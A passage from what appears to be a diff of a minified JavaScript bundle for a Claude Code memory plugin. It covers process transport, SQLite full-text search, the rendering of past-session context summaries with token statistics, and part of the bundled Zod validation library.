0||l.call(this,c)}),this._process.on("spawn",()=>{e()}),this._process.on("close",c=>{var u;this._process=void 0,(u=this.onclose)===null||u===void 0||u.call(this)}),(s=this._process.stdin)===null||s===void 0||s.on("error",c=>{var u;(u=this.onerror)===null||u===void 0||u.call(this,c)}),(i=this._process.stdout)===null||i===void 0||i.on("data",c=>{this._readBuffer.append(c),this.processReadBuffer()}),(o=this._process.stdout)===null||o===void 0||o.on("error",c=>{var u;(u=this.onerror)===null||u===void 0||u.call(this,c)}),this._stderrStream&&this._process.stderr&&this._process.stderr.pipe(this._stderrStream)})}get stderr(){var e,r;return this._stderrStream?this._stderrStream:(r=(e=this._process)===null||e===void 0?void 0:e.stderr)!==null&&r!==void 0?r:null}get pid(){var e,r;return(r=(e=this._process)===null||e===void 0?void 0:e.pid)!==null&&r!==void 0?r:null}processReadBuffer(){for(var e,r;;)try{let n=this._readBuffer.readMessage();if(n===null)break;(e=this.onmessage)===null||e===void 0||e.call(this,n)}catch(n){(r=this.onerror)===null||r===void 0||r.call(this,n)}}async close(){this._abortController.abort(),this._process=void 0,this._readBuffer.clear()}send(e){return new Promise(r=>{var n;if(!(!((n=this._process)===null||n===void 0)&&n.stdin))throw new Error("Not connected");let a=OE(e);this._process.stdin.write(a)?r():this._process.stdin.once("drain",r)})}};function L9(){return"type"in no.default}var Ou=$t(require("path"),1),UE=require("os");_t();var Wf={DEFAULT:5e3,HEALTH_CHECK:1e3,WORKER_STARTUP_WAIT:1e3,WORKER_STARTUP_RETRIES:15,PRE_RESTART_SETTLE_DELAY:2e3,WINDOWS_MULTIPLIER:1.5};function DE(t){return process.platform==="win32"?Math.round(t*Wf.WINDOWS_MULTIPLIER):t}var Pu=require("path");var zE=require("os");Ar();Yr();var _K=(0,Pu.join)(tr,"worker.pid"),bK=(0,Pu.join)(tr,"logs"),xK=(0,Pu.join)((0,zE.homedir)(),".claude","plugins","marketplaces","thedotmack");Yr();var CK=Ou.default.join((0,UE.homedir)(),".claude","plugins","marketplaces","thedotmack"),IK=DE(Wf.HEALTH_CHECK),oo=null,co=null;function Ms(){if(oo!==null)return oo;let t=Ou.default.join(ft.get("CLAUDE_MEM_DATA_DIR"),"settings.json"),e=ft.loadFromFile(t);return oo=parseInt(e.CLAUDE_MEM_WORKER_PORT,10),oo}function HE(){if(co!==null)return co;let t=Ou.default.join(ft.get("CLAUDE_MEM_DATA_DIR"),"settings.json");return co=ft.loadFromFile(t).CLAUDE_MEM_WORKER_HOST,co}function BE(){oo=null,co=null}_t();var zl=require("child_process"),aR=require("util");Cu();var WE=require("bun:sqlite");Ar();var Iu=class{db;constructor(e){e||($u(tr),e=Ru),this.db=new WE.Database(e),this.db.run("PRAGMA journal_mode = WAL"),this.ensureFTSTables()}ensureFTSTables(){try{if(this.db.prepare("SELECT name FROM sqlite_master WHERE type='table' AND name LIKE '%_fts'").all().some(n=>n.name==="observations_fts"||n.name==="session_summaries_fts"))return;console.log("[SessionSearch] Creating FTS5 tables..."),this.db.run(` - CREATE VIRTUAL TABLE IF NOT EXISTS observations_fts USING fts5( - title, - subtitle, - narrative, - text, - facts, - concepts, - content='observations', - content_rowid='id' - ); - `),this.db.run(` +No previous sessions found for this project yet.`;let g=d.slice(0,r.sessionCount),b=l,p=[];if(e?(p.push(""),p.push(`${pe.bright}${pe.cyan}[${a}] recent context${pe.reset}`),p.push(`${pe.gray}${"\u2500".repeat(60)}${pe.reset}`),p.push("")):(p.push(`# [${a}] recent context`),p.push("")),b.length>0){let y=$t.getInstance().getActiveMode().observation_types.map(ne=>`${ne.emoji} ${ne.id}`).join(" | ");e?p.push(`${pe.dim}Legend: \u{1F3AF} session-request | ${y}${pe.reset}`):p.push(`**Legend:** \u{1F3AF} session-request | ${y}`),p.push(""),e?(p.push(`${pe.bright}\u{1F4A1} Column Key${pe.reset}`),p.push(`${pe.dim} Read: Tokens to read this observation (cost to learn it now)${pe.reset}`),p.push(`${pe.dim} Work: Tokens spent on work that produced this record (\u{1F50D} research, \u{1F6E0}\uFE0F building, \u2696\uFE0F deciding)${pe.reset}`)):(p.push("\u{1F4A1} **Column Key**:"),p.push("- **Read**: Tokens to read this observation (cost to learn it now)"),p.push("- **Work**: Tokens spent on work that produced this record (\u{1F50D} research, \u{1F6E0}\uFE0F building, \u2696\uFE0F deciding)")),p.push(""),e?(p.push(`${pe.dim}\u{1F4A1} Context Index: This semantic index (titles, types, files, tokens) is usually sufficient to understand past work.${pe.reset}`),p.push(""),p.push(`${pe.dim}When you need implementation details, rationale, or debugging context:${pe.reset}`),p.push(`${pe.dim} - Use the mem-search skill to fetch full observations on-demand${pe.reset}`),p.push(`${pe.dim} - Critical types (\u{1F534} bugfix, \u2696\uFE0F decision) often need detailed fetching${pe.reset}`),p.push(`${pe.dim} - Trust this index over re-reading code for past decisions and learnings${pe.reset}`)):(p.push("\u{1F4A1} **Context Index:** This semantic index (titles, types, files, tokens) is usually sufficient to understand past work."),p.push(""),p.push("When you need implementation details, rationale, or debugging context:"),p.push("- Use the mem-search skill to fetch full observations on-demand"),p.push("- Critical types (\u{1F534} bugfix, \u2696\uFE0F decision) often need detailed fetching"),p.push("- Trust this index over re-reading code for past decisions and learnings")),p.push("");let v=l.length,_=l.reduce((ne,re)=>{let F=(re.title?.length||0)+(re.subtitle?.length||0)+(re.narrative?.length||0)+JSON.stringify(re.facts||[]).length;return ne+Math.ceil(F/c$)},0),S=l.reduce((ne,re)=>ne+(re.discovery_tokens||0),0),x=S-_,E=S>0?Math.round(x/S*100):0,T=r.showReadTokens||r.showWorkTokens||r.showSavingsAmount||r.showSavingsPercent;if(T)if(e){if(p.push(`${pe.bright}${pe.cyan}\u{1F4CA} Context Economics${pe.reset}`),p.push(`${pe.dim} Loading: ${v} observations (${_.toLocaleString()} tokens to read)${pe.reset}`),p.push(`${pe.dim} Work investment: ${S.toLocaleString()} tokens spent on research, building, and decisions${pe.reset}`),S>0&&(r.showSavingsAmount||r.showSavingsPercent)){let ne=" Your savings: ";r.showSavingsAmount&&r.showSavingsPercent?ne+=`${x.toLocaleString()} tokens (${E}% reduction from reuse)`:r.showSavingsAmount?ne+=`${x.toLocaleString()} tokens`:ne+=`${E}% reduction from reuse`,p.push(`${pe.green}${ne}${pe.reset}`)}p.push("")}else{if(p.push("\u{1F4CA} **Context Economics**:"),p.push(`- Loading: ${v} observations (${_.toLocaleString()} tokens to read)`),p.push(`- Work investment: ${S.toLocaleString()} tokens spent on research, building, and decisions`),S>0&&(r.showSavingsAmount||r.showSavingsPercent)){let ne="- Your savings: ";r.showSavingsAmount&&r.showSavingsPercent?ne+=`${x.toLocaleString()} tokens (${E}% reduction from reuse)`:r.showSavingsAmount?ne+=`${x.toLocaleString()} tokens`:ne+=`${E}% reduction from reuse`,p.push(ne)}p.push("")}let $=d[0]?.id,N=g.map((ne,re)=>{let F=re===0?null:d[re+1];return{...ne,displayEpoch:F?F.created_at_epoch:ne.created_at_epoch,displayTime:F?F.created_at:ne.created_at,shouldShowLink:ne.id!==$}}),j=new Set(l.slice(0,r.fullObservationCount).map(ne=>ne.id)),q=[...b.map(ne=>({type:"observation",data:ne})),...N.map(ne=>({type:"summary",data:ne}))];q.sort((ne,re)=>{let F=ne.type==="observation"?ne.data.created_at_epoch:ne.data.displayEpoch,R=re.type==="observation"?re.data.created_at_epoch:re.data.displayEpoch;return F-R});let H=new Map;for(let ne of q){let re=ne.type==="observation"?ne.data.created_at:ne.data.displayTime,F=Ln(re);H.has(F)||H.set(F,[]),H.get(F).push(ne)}let A=Array.from(H.entries()).sort((ne,re)=>{let F=new Date(ne[0]).getTime(),R=new Date(re[0]).getTime();return F-R});for(let[ne,re]of A){e?(p.push(`${pe.bright}${pe.cyan}${ne}${pe.reset}`),p.push("")):(p.push(`### ${ne}`),p.push(""));let F=null,R="",z=!1;for(let I of re)if(I.type==="summary"){z&&(p.push(""),z=!1,F=null,R="");let w=I.data,k=`${w.request||"Session started"} (${xa(w.displayTime)})`;e?p.push(`\u{1F3AF} ${pe.yellow}#S${w.id}${pe.reset} ${k}`):p.push(`**\u{1F3AF} #S${w.id}** ${k}`),p.push("")}else{let w=I.data,k=Fn(w.files_modified,n);k!==F&&(z&&p.push(""),e?p.push(`${pe.dim}${k}${pe.reset}`):p.push(`**${k}**`),e||(p.push("| ID | Time | T | Title | Read | Work |"),p.push("|----|------|---|-------|------|------|")),F=k,z=!0,R="");let M=ci(w.created_at),K=w.title||"Untitled",J=$t.getInstance().getTypeIcon(w.type),de=(w.title?.length||0)+(w.subtitle?.length||0)+(w.narrative?.length||0)+JSON.stringify(w.facts||[]).length,se=Math.ceil(de/c$),me=w.discovery_tokens||0,O=$t.getInstance().getWorkEmoji(w.type),C=me>0?`${O} ${me.toLocaleString()}`:"-",L=M!==R,G=L?M:"";if(R=M,j.has(w.id)){let ce=r.fullObservationField==="narrative"?w.narrative:w.facts?Hm(w.facts).join(` +`):null;if(e){let Te=L?`${pe.dim}${M}${pe.reset}`:" ".repeat(M.length),Ie=r.showReadTokens&&se>0?`${pe.dim}(~${se}t)${pe.reset}`:"",Ae=r.showWorkTokens&&me>0?`${pe.dim}(${O} ${me.toLocaleString()}t)${pe.reset}`:"";p.push(` ${pe.dim}#${w.id}${pe.reset} ${Te} ${J} ${pe.bright}${K}${pe.reset}`),ce&&p.push(` ${pe.dim}${ce}${pe.reset}`),(Ie||Ae)&&p.push(` ${Ie} ${Ae}`),p.push("")}else{z&&(p.push(""),z=!1),p.push(`**#${w.id}** ${G||"\u2033"} ${J} **${K}**`),ce&&(p.push(""),p.push(ce),p.push(""));let Te=[];r.showReadTokens&&Te.push(`Read: ~${se}`),r.showWorkTokens&&Te.push(`Work: ${C}`),Te.length>0&&p.push(Te.join(", ")),p.push(""),F=null}}else if(e){let ce=L?`${pe.dim}${M}${pe.reset}`:" ".repeat(M.length),Te=r.showReadTokens&&se>0?`${pe.dim}(~${se}t)${pe.reset}`:"",Ie=r.showWorkTokens&&me>0?`${pe.dim}(${O} ${me.toLocaleString()}t)${pe.reset}`:"";p.push(` ${pe.dim}#${w.id}${pe.reset} ${ce} ${J} ${K} ${Te} ${Ie}`)}else{let ce=r.showReadTokens?`~${se}`:"",Te=r.showWorkTokens?C:"";p.push(`| #${w.id} | ${G||"\u2033"} | ${J} | ${K} | ${ce} | ${Te} |`)}}z&&p.push("")}let W=d[0],oe=l[0];if(r.showLastSummary&&W&&(W.investigated||W.learned||W.completed||W.next_steps)&&(!oe||W.created_at_epoch>oe.created_at_epoch)&&(p.push(...jl("Investigated",W.investigated,pe.blue,e)),p.push(...jl("Learned",W.learned,pe.yellow,e)),p.push(...jl("Completed",W.completed,pe.green,e)),p.push(...jl("Next Steps",W.next_steps,pe.magenta,e))),m&&(p.push(""),p.push("---"),p.push(""),e?(p.push(`${pe.bright}${pe.magenta}\u{1F4CB} Previously${pe.reset}`),p.push(""),p.push(`${pe.dim}A: ${m}${pe.reset}`)):(p.push("**\u{1F4CB} Previously**"),p.push(""),p.push(`A: ${m}`)),p.push("")),T&&S>0&&x>0){let ne=Math.round(S/1e3);p.push(""),e?p.push(`${pe.dim}\u{1F4B0} Access ${ne}k tokens of past research & decisions for just ${_.toLocaleString()}t. Use the mem-search skill to access memories by ID instead of re-reading files.${pe.reset}`):p.push(`\u{1F4B0} Access ${ne}k tokens of past research & decisions for just ${_.toLocaleString()}t. Use the mem-search skill to access memories by ID instead of re-reading files.`)}}return s?.close(),p.join(` +`).trimEnd()}var Ml,Dl,di,I7,c$,N7,pe,Ll=ca(()=>{"use strict";Ml=kt(require("path"),1),Dl=require("os"),di=require("fs");Iu();mt();Dr();Bm();o$();La();I7=Ml.default.join((0,Dl.homedir)(),".claude","plugins","marketplaces","thedotmack","plugin",".install-version");c$=4,N7=1,pe={reset:"\x1B[0m",bright:"\x1B[1m",dim:"\x1B[2m",cyan:"\x1B[36m",green:"\x1B[32m",yellow:"\x1B[33m",blue:"\x1B[34m",magenta:"\x1B[35m",gray:"\x1B[90m",red:"\x1B[31m"}});var L7={};Jn(L7,{WorkerService:()=>Hl});module.exports=L$(L7);var f$=kt(Kc(),1),pi=kt(require("path"),1),Qm=kt(require("fs"),1);var P={};Jn(P,{BRAND:()=>c2,DIRTY:()=>fn,EMPTY_PATH:()=>FM,INVALID:()=>$e,NEVER:()=>Z2,OK:()=>Ut,ParseStatus:()=>Lt,Schema:()=>qe,ZodAny:()=>Aa,ZodArray:()=>ma,ZodBigInt:()=>hn,ZodBoolean:()=>vn,ZodBranded:()=>eo,ZodCatch:()=>$n,ZodDate:()=>gn,ZodDefault:()=>kn,ZodDiscriminatedUnion:()=>Yc,ZodEffects:()=>wr,ZodEnum:()=>En,ZodError:()=>er,ZodFirstPartyTypeKind:()=>Pe,ZodFunction:()=>eu,ZodIntersection:()=>xn,ZodIssueCode:()=>ie,ZodLazy:()=>wn,ZodLiteral:()=>Sn,ZodMap:()=>Os,ZodNaN:()=>Is,ZodNativeEnum:()=>Tn,ZodNever:()=>Mr,ZodNull:()=>_n,ZodNullable:()=>ea,ZodNumber:()=>mn,ZodObject:()=>tr,ZodOptional:()=>br,ZodParsedType:()=>ge,ZodPipeline:()=>to,ZodPromise:()=>Na,ZodReadonly:()=>Rn,ZodRecord:()=>Qc,ZodSchema:()=>qe,ZodSet:()=>Cs,ZodString:()=>Ia,ZodSymbol:()=>Rs,ZodTransformer:()=>wr,ZodTuple:()=>Qr,ZodType:()=>qe,ZodUndefined:()=>yn,ZodUnion:()=>bn,ZodUnknown:()=>fa,ZodVoid:()=>Ps,addIssueToContext:()=>fe,any:()=>g2,array:()=>x2,bigint:()=>p2,boolean:()=>xx,coerce:()=>V2,custom:()=>yx,date:()=>f2,datetimeRegex:()=>vx,defaultErrorMap:()=>da,discriminatedUnion:()=>T2,effect:()=>D2,enum:()=>N2,function:()=>C2,getErrorMap:()=>Ts,getParsedType:()=>Yr,instanceof:()=>l2,intersection:()=>k2,isAborted:()=>Xc,isAsync:()=>ks,isDirty:()=>Jc,isValid:()=>Ca,late:()=>u2,lazy:()=>I2,literal:()=>A2,makeIssue:()=>Qi,map:()=>P2,nan:()=>d2,nativeEnum:()=>j2,never:()=>_2,null:()=>v2,nullable:()=>L2,number:()=>bx,object:()=>w2,objectUtil:()=>Wp,oboolean:()=>B2,onumber:()=>H2,optional:()=>q2,ostring:()=>U2,pipeline:()=>z2,preprocess:()=>F2,promise:()=>M2,quotelessJson:()=>DM,record:()=>R2,set:()=>O2,setErrorMap:()=>LM,strictObject:()=>S2,string:()=>_x,symbol:()=>m2,transformer:()=>D2,tuple:()=>$2,undefined:()=>h2,union:()=>E2,unknown:()=>y2,util:()=>He,void:()=>b2});var He;(function(t){t.assertEqual=a=>{};function e(a){}t.assertIs=e;function r(a){throw new Error}t.assertNever=r,t.arrayToEnum=a=>{let s={};for(let i of a)s[i]=i;return s},t.getValidEnumValues=a=>{let s=t.objectKeys(a).filter(o=>typeof a[a[o]]!="number"),i={};for(let o of s)i[o]=a[o];return t.objectValues(i)},t.objectValues=a=>t.objectKeys(a).map(function(s){return a[s]}),t.objectKeys=typeof Object.keys=="function"?a=>Object.keys(a):a=>{let s=[];for(let i in a)Object.prototype.hasOwnProperty.call(a,i)&&s.push(i);return s},t.find=(a,s)=>{for(let i of a)if(s(i))return i},t.isInteger=typeof Number.isInteger=="function"?a=>Number.isInteger(a):a=>typeof a=="number"&&Number.isFinite(a)&&Math.floor(a)===a;function n(a,s=" | "){return a.map(i=>typeof i=="string"?`'${i}'`:i).join(s)}t.joinValues=n,t.jsonStringifyReplacer=(a,s)=>typeof s=="bigint"?s.toString():s})(He||(He={}));var Wp;(function(t){t.mergeShapes=(e,r)=>({...e,...r})})(Wp||(Wp={}));var ge=He.arrayToEnum(["string","nan","number","integer","float","boolean","date","bigint","symbol","function","undefined","null","array","object","unknown","promise","void","never","map","set"]),Yr=t=>{switch(typeof t){case"undefined":return ge.undefined;case"string":return ge.string;case"number":return Number.isNaN(t)?ge.nan:ge.number;case"boolean":return ge.boolean;case"function":return ge.function;case"bigint":return ge.bigint;case"symbol":return ge.symbol;case"object":return Array.isArray(t)?ge.array:t===null?ge.null:t.then&&typeof t.then=="function"&&t.catch&&typeof t.catch=="function"?ge.promise:typeof Map<"u"&&t instanceof Map?ge.map:typeof Set<"u"&&t instanceof Set?ge.set:typeof Date<"u"&&t instanceof Date?ge.date:ge.object;default:return ge.unknown}};var ie=He.arrayToEnum(["invalid_type","invalid_literal","custom","invalid_union","invalid_union_discriminator","invalid_enum_value","unrecognized_keys","invalid_arguments","invalid_return_type","invalid_date","invalid_string","too_small","too_big","invalid_intersection_types","not_multiple_of","not_finite"]),DM=t=>JSON.stringify(t,null,2).replace(/"([^"]+)":/g,"$1:"),er=class t extends Error{get errors(){return this.issues}constructor(e){super(),this.issues=[],this.addIssue=n=>{this.issues=[...this.issues,n]},this.addIssues=(n=[])=>{this.issues=[...this.issues,...n]};let r=new.target.prototype;Object.setPrototypeOf?Object.setPrototypeOf(this,r):this.__proto__=r,this.name="ZodError",this.issues=e}format(e){let r=e||function(s){return s.message},n={_errors:[]},a=s=>{for(let i of s.issues)if(i.code==="invalid_union")i.unionErrors.map(a);else if(i.code==="invalid_return_type")a(i.returnTypeError);else if(i.code==="invalid_arguments")a(i.argumentsError);else if(i.path.length===0)n._errors.push(r(i));else{let o=n,c=0;for(;cr.message){let r={},n=[];for(let a of this.issues)if(a.path.length>0){let s=a.path[0];r[s]=r[s]||[],r[s].push(e(a))}else n.push(e(a));return{formErrors:n,fieldErrors:r}}get formErrors(){return this.flatten()}};er.create=t=>new er(t);var qM=(t,e)=>{let r;switch(t.code){case ie.invalid_type:t.received===ge.undefined?r="Required":r=`Expected ${t.expected}, received ${t.received}`;break;case ie.invalid_literal:r=`Invalid literal value, expected ${JSON.stringify(t.expected,He.jsonStringifyReplacer)}`;break;case ie.unrecognized_keys:r=`Unrecognized key(s) in object: ${He.joinValues(t.keys,", ")}`;break;case ie.invalid_union:r="Invalid input";break;case ie.invalid_union_discriminator:r=`Invalid discriminator value. Expected ${He.joinValues(t.options)}`;break;case ie.invalid_enum_value:r=`Invalid enum value. Expected ${He.joinValues(t.options)}, received '${t.received}'`;break;case ie.invalid_arguments:r="Invalid function arguments";break;case ie.invalid_return_type:r="Invalid function return type";break;case ie.invalid_date:r="Invalid date";break;case ie.invalid_string:typeof t.validation=="object"?"includes"in t.validation?(r=`Invalid input: must include "${t.validation.includes}"`,typeof t.validation.position=="number"&&(r=`${r} at one or more positions greater than or equal to ${t.validation.position}`)):"startsWith"in t.validation?r=`Invalid input: must start with "${t.validation.startsWith}"`:"endsWith"in t.validation?r=`Invalid input: must end with "${t.validation.endsWith}"`:He.assertNever(t.validation):t.validation!=="regex"?r=`Invalid ${t.validation}`:r="Invalid";break;case ie.too_small:t.type==="array"?r=`Array must contain ${t.exact?"exactly":t.inclusive?"at least":"more than"} ${t.minimum} element(s)`:t.type==="string"?r=`String must contain ${t.exact?"exactly":t.inclusive?"at least":"over"} ${t.minimum} character(s)`:t.type==="number"?r=`Number must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${t.minimum}`:t.type==="bigint"?r=`Number must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${t.minimum}`:t.type==="date"?r=`Date must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${new Date(Number(t.minimum))}`:r="Invalid input";break;case ie.too_big:t.type==="array"?r=`Array must contain ${t.exact?"exactly":t.inclusive?"at most":"less than"} ${t.maximum} element(s)`:t.type==="string"?r=`String must contain ${t.exact?"exactly":t.inclusive?"at most":"under"} ${t.maximum} character(s)`:t.type==="number"?r=`Number must be ${t.exact?"exactly":t.inclusive?"less than or equal to":"less than"} ${t.maximum}`:t.type==="bigint"?r=`BigInt must be ${t.exact?"exactly":t.inclusive?"less than or equal to":"less than"} ${t.maximum}`:t.type==="date"?r=`Date must be ${t.exact?"exactly":t.inclusive?"smaller than or equal to":"smaller than"} ${new Date(Number(t.maximum))}`:r="Invalid input";break;case ie.custom:r="Invalid input";break;case ie.invalid_intersection_types:r="Intersection results could not be merged";break;case ie.not_multiple_of:r=`Number must be a multiple of ${t.multipleOf}`;break;case ie.not_finite:r="Number must be finite";break;default:r=e.defaultError,He.assertNever(t)}return{message:r}},da=qM;var dx=da;function LM(t){dx=t}function Ts(){return dx}var Qi=t=>{let{data:e,path:r,errorMaps:n,issueData:a}=t,s=[...r,...a.path||[]],i={...a,path:s};if(a.message!==void 0)return{...a,path:s,message:a.message};let o="",c=n.filter(u=>!!u).slice().reverse();for(let u of c)o=u(i,{data:e,defaultError:o}).message;return{...a,path:s,message:o}},FM=[];function fe(t,e){let r=Ts(),n=Qi({issueData:e,data:t.data,path:t.path,errorMaps:[t.common.contextualErrorMap,t.schemaErrorMap,r,r===da?void 0:da].filter(a=>!!a)});t.common.issues.push(n)}var Lt=class t{constructor(){this.value="valid"}dirty(){this.value==="valid"&&(this.value="dirty")}abort(){this.value!=="aborted"&&(this.value="aborted")}static mergeArray(e,r){let n=[];for(let a of r){if(a.status==="aborted")return $e;a.status==="dirty"&&e.dirty(),n.push(a.value)}return{status:e.value,value:n}}static async mergeObjectAsync(e,r){let n=[];for(let a of r){let s=await a.key,i=await a.value;n.push({key:s,value:i})}return t.mergeObjectSync(e,n)}static mergeObjectSync(e,r){let n={};for(let a of r){let{key:s,value:i}=a;if(s.status==="aborted"||i.status==="aborted")return $e;s.status==="dirty"&&e.dirty(),i.status==="dirty"&&e.dirty(),s.value!=="__proto__"&&(typeof i.value<"u"||a.alwaysSet)&&(n[s.value]=i.value)}return{status:e.value,value:n}}},$e=Object.freeze({status:"aborted"}),fn=t=>({status:"dirty",value:t}),Ut=t=>({status:"valid",value:t}),Xc=t=>t.status==="aborted",Jc=t=>t.status==="dirty",Ca=t=>t.status==="valid",ks=t=>typeof Promise<"u"&&t instanceof Promise;var be;(function(t){t.errToObj=e=>typeof e=="string"?{message:e}:e||{},t.toString=e=>typeof e=="string"?e:e?.message})(be||(be={}));var xr=class{constructor(e,r,n,a){this._cachedPath=[],this.parent=e,this.data=r,this._path=n,this._key=a}get path(){return this._cachedPath.length||(Array.isArray(this._key)?this._cachedPath.push(...this._path,...this._key):this._cachedPath.push(...this._path,this._key)),this._cachedPath}},px=(t,e)=>{if(Ca(e))return{success:!0,data:e.value};if(!t.common.issues.length)throw new Error("Validation failed but no issues detected.");return{success:!1,get error(){if(this._error)return this._error;let r=new er(t.common.issues);return this._error=r,this._error}}};function je(t){if(!t)return{};let{errorMap:e,invalid_type_error:r,required_error:n,description:a}=t;if(e&&(r||n))throw new Error(`Can't use "invalid_type_error" or "required_error" in conjunction with custom error map.`);return e?{errorMap:e,description:a}:{errorMap:(i,o)=>{let{message:c}=t;return i.code==="invalid_enum_value"?{message:c??o.defaultError}:typeof o.data>"u"?{message:c??n??o.defaultError}:i.code!=="invalid_type"?{message:o.defaultError}:{message:c??r??o.defaultError}},description:a}}var qe=class{get description(){return this._def.description}_getType(e){return Yr(e.data)}_getOrReturnCtx(e,r){return r||{common:e.parent.common,data:e.data,parsedType:Yr(e.data),schemaErrorMap:this._def.errorMap,path:e.path,parent:e.parent}}_processInputParams(e){return{status:new Lt,ctx:{common:e.parent.common,data:e.data,parsedType:Yr(e.data),schemaErrorMap:this._def.errorMap,path:e.path,parent:e.parent}}}_parseSync(e){let r=this._parse(e);if(ks(r))throw new Error("Synchronous parse encountered promise.");return r}_parseAsync(e){let r=this._parse(e);return Promise.resolve(r)}parse(e,r){let n=this.safeParse(e,r);if(n.success)return n.data;throw n.error}safeParse(e,r){let n={common:{issues:[],async:r?.async??!1,contextualErrorMap:r?.errorMap},path:r?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:Yr(e)},a=this._parseSync({data:e,path:n.path,parent:n});return px(n,a)}"~validate"(e){let r={common:{issues:[],async:!!this["~standard"].async},path:[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:Yr(e)};if(!this["~standard"].async)try{let n=this._parseSync({data:e,path:[],parent:r});return Ca(n)?{value:n.value}:{issues:r.common.issues}}catch(n){n?.message?.toLowerCase()?.includes("encountered")&&(this["~standard"].async=!0),r.common={issues:[],async:!0}}return this._parseAsync({data:e,path:[],parent:r}).then(n=>Ca(n)?{value:n.value}:{issues:r.common.issues})}async parseAsync(e,r){let n=await this.safeParseAsync(e,r);if(n.success)return n.data;throw n.error}async safeParseAsync(e,r){let n={common:{issues:[],contextualErrorMap:r?.errorMap,async:!0},path:r?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:Yr(e)},a=this._parse({data:e,path:n.path,parent:n}),s=await(ks(a)?a:Promise.resolve(a));return px(n,s)}refine(e,r){let n=a=>typeof r=="string"||typeof r>"u"?{message:r}:typeof r=="function"?r(a):r;return this._refinement((a,s)=>{let i=e(a),o=()=>s.addIssue({code:ie.custom,...n(a)});return typeof Promise<"u"&&i instanceof Promise?i.then(c=>c?!0:(o(),!1)):i?!0:(o(),!1)})}refinement(e,r){return this._refinement((n,a)=>e(n)?!0:(a.addIssue(typeof r=="function"?r(n,a):r),!1))}_refinement(e){return new wr({schema:this,typeName:Pe.ZodEffects,effect:{type:"refinement",refinement:e}})}superRefine(e){return this._refinement(e)}constructor(e){this.spa=this.safeParseAsync,this._def=e,this.parse=this.parse.bind(this),this.safeParse=this.safeParse.bind(this),this.parseAsync=this.parseAsync.bind(this),this.safeParseAsync=this.safeParseAsync.bind(this),this.spa=this.spa.bind(this),this.refine=this.refine.bind(this),this.refinement=this.refinement.bind(this),this.superRefine=this.superRefine.bind(this),this.optional=this.optional.bind(this),this.nullable=this.nullable.bind(this),this.nullish=this.nullish.bind(this),this.array=this.array.bind(this),this.promise=this.promise.bind(this),this.or=this.or.bind(this),this.and=this.and.bind(this),this.transform=this.transform.bind(this),this.brand=this.brand.bind(this),this.default=this.default.bind(this),this.catch=this.catch.bind(this),this.describe=this.describe.bind(this),this.pipe=this.pipe.bind(this),this.readonly=this.readonly.bind(this),this.isNullable=this.isNullable.bind(this),this.isOptional=this.isOptional.bind(this),this["~standard"]={version:1,vendor:"zod",validate:r=>this["~validate"](r)}}optional(){return br.create(this,this._def)}nullable(){return ea.create(this,this._def)}nullish(){return this.nullable().optional()}array(){return ma.create(this)}promise(){return Na.create(this,this._def)}or(e){return bn.create([this,e],this._def)}and(e){return xn.create(this,e,this._def)}transform(e){return new wr({...je(this._def),schema:this,typeName:Pe.ZodEffects,effect:{type:"transform",transform:e}})}default(e){let r=typeof e=="function"?e:()=>e;return new kn({...je(this._def),innerType:this,defaultValue:r,typeName:Pe.ZodDefault})}brand(){return new eo({typeName:Pe.ZodBranded,type:this,...je(this._def)})}catch(e){let r=typeof e=="function"?e:()=>e;return new $n({...je(this._def),innerType:this,catchValue:r,typeName:Pe.ZodCatch})}describe(e){let r=this.constructor;return new r({...this._def,description:e})}pipe(e){return to.create(this,e)}readonly(){return Rn.create(this)}isOptional(){return this.safeParse(void 0).success}isNullable(){return this.safeParse(null).success}},zM=/^c[^\s-]{8,}$/i,UM=/^[0-9a-z]+$/,HM=/^[0-9A-HJKMNP-TV-Z]{26}$/i,BM=/^[0-9a-fA-F]{8}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{12}$/i,VM=/^[a-z0-9_-]{21}$/i,ZM=/^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$/,GM=/^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/,WM=/^(?!\.)(?!.*\.\.)([A-Z0-9_'+\-\.]*)[A-Z0-9_+-]@([A-Z0-9][A-Z0-9\-]*\.)+[A-Z]{2,}$/i,KM="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$",Kp,XM=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,JM=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/(3[0-2]|[12]?[0-9])$/,YM=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(: